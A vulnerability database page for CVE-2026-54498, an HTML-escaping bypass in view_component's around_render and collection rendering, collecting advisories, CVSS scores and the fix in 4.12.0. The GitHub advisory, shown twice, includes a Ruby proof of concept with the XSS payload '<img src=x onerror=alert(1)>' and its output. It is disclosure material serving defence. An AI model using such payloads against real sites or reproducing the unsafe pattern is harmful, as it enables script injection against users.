Every CVE Search/ Get API key

CVE-2026-54498

view_component: around_render HTML-Safety Bypass

8.7 HighFix available

view_component is a framework for building reusable, testable, and encapsulated view components in Ruby on Rails. From 4.0.0 until 4.12.0, ViewComponent::Base#around_render can return HTML-unsafe strings that bypass the escaping behavior applied to normal #call return values. This creates an XSS risk when downstream applications use around_render to wrap, replace, instrument, or conditionally return content that includes user-controlled data, and ViewComponent::Collection#render_in can amplify the issue by joining per-item results and marking the entire output html_safe, converting raw unsafe output into an ActiveSupport::SafeBuffer. This issue is fixed in version 4.12.0.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
Required

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
None

Exploit likelihood

0.45%Unchanged since Jul 18, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.7

view_component: around_render HTML-Safety Bypass

view_component is a framework for building reusable, testable, and encapsulated view components in Ruby on Rails. From 4.0.0 until 4.12.0, ViewComponent::Base#around_render can return HTML-unsafe strings that bypass the escaping behavior applied to normal #call return values. This creates an XSS risk when downstream applications use around_render to wrap, replace, instrument, or conditionally return content that includes user-controlled data, and ViewComponent::Collection#render_in can amplify the issue by joining per-item results and marking the entire output html_safe, converting raw unsafe output into an ActiveSupport::SafeBuffer. This issue is fixed in version 4.12.0.

Record
CVE-2026-54498
CVSS 3.1
8.7 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Weakness
CWE-79
Updated
2026-11-02
EUVDEUVD-2026-45333 8.7

view_component is a framework for building reusable, testable, and encapsulated view components in Ruby on Rails. From 4.0.0 until 4.12.0, ViewComponent::Base#around_render can return HTML-unsafe strings that bypass the escaping behavior applied to normal #call return values. This creates an XSS risk when downstream applications use around_render to wrap, replace, instrument, or conditionally return content that includes user-controlled data, and ViewComponent::Collection#render_in can amplify the issue by joining per-item results and marking the entire output html_safe, converting raw unsafe output into an ActiveSupport::SafeBuffer. This issue is fixed in version 4.12.0.

Record
EUVD-2026-45333
CVSS 3.1
8.7 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-97jw-64cj-jc58 8.7

ViewComponent: around_render HTML-Safety Bypass

Summary

ViewComponent::Base#around_render can return HTML-unsafe strings that bypass the escaping behavior applied to normal #call return values. This creates an XSS risk when downstream applications use around_render to wrap, replace, instrument, or conditionally return content that includes user-controlled data.

The issue is especially dangerous in collection rendering because ViewComponent::Collection#render_in joins the per-item results and marks the entire output as html_safe, converting raw unsafe output into a trusted ActiveSupport::SafeBuffer.

Affected Code

Validated against:

  • Repository commit: eea79445
  • Ruby: 3.4.9

Relevant locations:

  • lib/view_component/base.rb
    • render_in
    • around_render
    • __vc_maybe_escape_html
  • lib/view_component/template.rb
    • InlineCall#safe_method_name_call
  • lib/view_component/collection.rb
    • Collection#render_in

Key code paths:

# lib/view_component/base.rb
around_render do
  render_template_for(@__vc_requested_details).to_s
end
# lib/view_component/template.rb
proc do
  __vc_maybe_escape_html(send(m)) do
    Kernel.warn(...)
  end
end
# lib/view_component/collection.rb
components.map do |component|
  component.render_in(view_context, &block)
end.join(rendered_spacer(view_context)).html_safe

Root Cause

Normal inline #call output is passed through __vc_maybe_escape_html, which escapes HTML-unsafe strings. However, when around_render itself returns a string, the returned value becomes the component render result without being passed through the same HTML-safety boundary.

This creates two different output-safety behaviors:

  • #call returning unsafe string: escaped
  • #around_render returning unsafe string: raw

Collection rendering then amplifies the issue by calling .html_safe on the joined result.

Proof of Concept

Run from the repository root:

$LOAD_PATH.unshift File.expand_path("lib", Dir.pwd)
require "action_controller/railtie"
require "rack/mock"
require "view_component/base"

class PocController < ActionController::Base; end

def vc
  c = PocController.new
  c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for("/poc")))
  c.set_response!(ActionDispatch::Response.new)
  c.view_context
end

PAYLOAD = "<img src=x onerror=alert(1)>"

class UnsafeCallComponent < ViewComponent::Base
  def initialize(payload:) = @payload = payload
  def call = @payload
end

class UnsafeAroundComponent < ViewComponent::Base
  def initialize(payload:) = @payload = payload
  def call = "SAFE"
  def around_render = @payload
end

class UnsafeAroundCollectionComponent < ViewComponent::Base
  with_collection_parameter :payload
  def initialize(payload:) = @payload = payload
  def call = "SAFE"
  def around_render = @payload
end

view_context = vc

normal = UnsafeCallComponent.new(payload: PAYLOAD).render_in(view_context)
around = UnsafeAroundComponent.new(payload: PAYLOAD).render_in(view_context)
collection = UnsafeAroundCollectionComponent.with_collection([PAYLOAD]).render_in(view_context)

puts "normal_call=#{normal}"
puts "normal_call_raw=#{normal.include?(PAYLOAD)} html_safe=#{normal.html_safe?}"
puts "around_render=#{around}"
puts "around_render_raw=#{around.include?(PAYLOAD)} html_safe=#{around.html_safe?}"
puts "collection=#{collection}"
puts "collection_raw=#{collection.include?(PAYLOAD)} html_safe=#{collection.html_safe?}"

c = PocController.new
c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for("/poc")))
c.set_response!(ActionDispatch::Response.new)
out = c.render_to_string(UnsafeAroundComponent.new(payload: PAYLOAD))
puts "controller_render_to_string=#{out}"
puts "controller_raw=#{out.include?(PAYLOAD)} html_safe=#{out.html_safe?}"

Observed output:

normal_call=&lt;img src=x onerror=alert(1)&gt;
normal_call_raw=false html_safe=true
around_render=<img src=x onerror=alert(1)>
around_render_raw=true html_safe=false
collection=<img src=x…
Record
GHSA-97jw-64cj-jc58
CVSS 3.1
8.7 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Weakness
CWE-79
Updated
2026-11-02
NVD 8.7

view_component is a framework for building reusable, testable, and encapsulated view components in Ruby on Rails. From 4.0.0 until 4.12.0, ViewComponent::Base#around_render can return HTML-unsafe strings that bypass the escaping behavior applied to normal #call return values. This creates an XSS risk when downstream applications use around_render to wrap, replace, instrument, or conditionally return content that includes user-controlled data, and ViewComponent::Collection#render_in can amplify the issue by joining per-item results and marking the entire output html_safe, converting raw unsafe output into an ActiveSupport::SafeBuffer. This issue is fixed in version 4.12.0.

Record
CVE-2026-54498
CVSS 3.1
8.7 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Weakness
CWE-79
Updated
2026-11-02
OSV 8.7

view_component: around_render HTML-Safety Bypass

view_component is a framework for building reusable, testable, and encapsulated view components in Ruby on Rails. From 4.0.0 until 4.12.0, ViewComponent::Base#around_render can return HTML-unsafe strings that bypass the escaping behavior applied to normal #call return values. This creates an XSS risk when downstream applications use around_render to wrap, replace, instrument, or conditionally return content that includes user-controlled data, and ViewComponent::Collection#render_in can amplify the issue by joining per-item results and marking the entire output html_safe, converting raw unsafe output into an ActiveSupport::SafeBuffer. This issue is fixed in version 4.12.0.

Record
CVE-2026-54498
CVSS 3.1
8.7 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Weakness
CWE-79
Updated
2026-11-02
OSVGHSA-97jw-64cj-jc58 8.7

ViewComponent: around_render HTML-Safety Bypass

Summary

ViewComponent::Base#around_render can return HTML-unsafe strings that bypass the escaping behavior applied to normal #call return values. This creates an XSS risk when downstream applications use around_render to wrap, replace, instrument, or conditionally return content that includes user-controlled data.

The issue is especially dangerous in collection rendering because ViewComponent::Collection#render_in joins the per-item results and marks the entire output as html_safe, converting raw unsafe output into a trusted ActiveSupport::SafeBuffer.

Affected Code

Validated against:

  • Repository commit: eea79445
  • Ruby: 3.4.9

Relevant locations:

  • lib/view_component/base.rb
    • render_in
    • around_render
    • __vc_maybe_escape_html
  • lib/view_component/template.rb
    • InlineCall#safe_method_name_call
  • lib/view_component/collection.rb
    • Collection#render_in

Key code paths:

# lib/view_component/base.rb
around_render do
  render_template_for(@__vc_requested_details).to_s
end
# lib/view_component/template.rb
proc do
  __vc_maybe_escape_html(send(m)) do
    Kernel.warn(...)
  end
end
# lib/view_component/collection.rb
components.map do |component|
  component.render_in(view_context, &block)
end.join(rendered_spacer(view_context)).html_safe

Root Cause

Normal inline #call output is passed through __vc_maybe_escape_html, which escapes HTML-unsafe strings. However, when around_render itself returns a string, the returned value becomes the component render result without being passed through the same HTML-safety boundary.

This creates two different output-safety behaviors:

  • #call returning unsafe string: escaped
  • #around_render returning unsafe string: raw

Collection rendering then amplifies the issue by calling .html_safe on the joined result.

Proof of Concept

Run from the repository root:

$LOAD_PATH.unshift File.expand_path("lib", Dir.pwd)
require "action_controller/railtie"
require "rack/mock"
require "view_component/base"

class PocController < ActionController::Base; end

def vc
  c = PocController.new
  c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for("/poc")))
  c.set_response!(ActionDispatch::Response.new)
  c.view_context
end

PAYLOAD = "<img src=x onerror=alert(1)>"

class UnsafeCallComponent < ViewComponent::Base
  def initialize(payload:) = @payload = payload
  def call = @payload
end

class UnsafeAroundComponent < ViewComponent::Base
  def initialize(payload:) = @payload = payload
  def call = "SAFE"
  def around_render = @payload
end

class UnsafeAroundCollectionComponent < ViewComponent::Base
  with_collection_parameter :payload
  def initialize(payload:) = @payload = payload
  def call = "SAFE"
  def around_render = @payload
end

view_context = vc

normal = UnsafeCallComponent.new(payload: PAYLOAD).render_in(view_context)
around = UnsafeAroundComponent.new(payload: PAYLOAD).render_in(view_context)
collection = UnsafeAroundCollectionComponent.with_collection([PAYLOAD]).render_in(view_context)

puts "normal_call=#{normal}"
puts "normal_call_raw=#{normal.include?(PAYLOAD)} html_safe=#{normal.html_safe?}"
puts "around_render=#{around}"
puts "around_render_raw=#{around.include?(PAYLOAD)} html_safe=#{around.html_safe?}"
puts "collection=#{collection}"
puts "collection_raw=#{collection.include?(PAYLOAD)} html_safe=#{collection.html_safe?}"

c = PocController.new
c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for("/poc")))
c.set_response!(ActionDispatch::Response.new)
out = c.render_to_string(UnsafeAroundComponent.new(payload: PAYLOAD))
puts "controller_render_to_string=#{out}"
puts "controller_raw=#{out.include?(PAYLOAD)} html_safe=#{out.html_safe?}"

Observed output:

normal_call=&lt;img src=x onerror=alert(1)&gt;
normal_call_raw=false html_safe=true
around_render=<img src=x onerror=alert(1)>
around_render_raw=true html_safe=false
collection=<img src=x…
Record
GHSA-97jw-64cj-jc58
CVSS 3.1
8.7 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Weakness
CWE-79
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
view_component
RubyGems
4.0.0 up to 4.12.0
4.12.0
view_component
RubyGems
4.0.0 up to 4.12.0, plus listed versions
4.0.14.0.24.1.04.1.14.10.0
Show 9 moreShow less
4.11.04.2.04.3.04.4.04.5.04.6.04.7.04.8.04.9.0
4.12.0

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-54498 is a high vulnerability (CVSS 8.7) in Github View Component, published July 15, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.45%, the 39th percentile. Fixed in view_component 4.12.0.

References

Show 4 moreShow less
This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open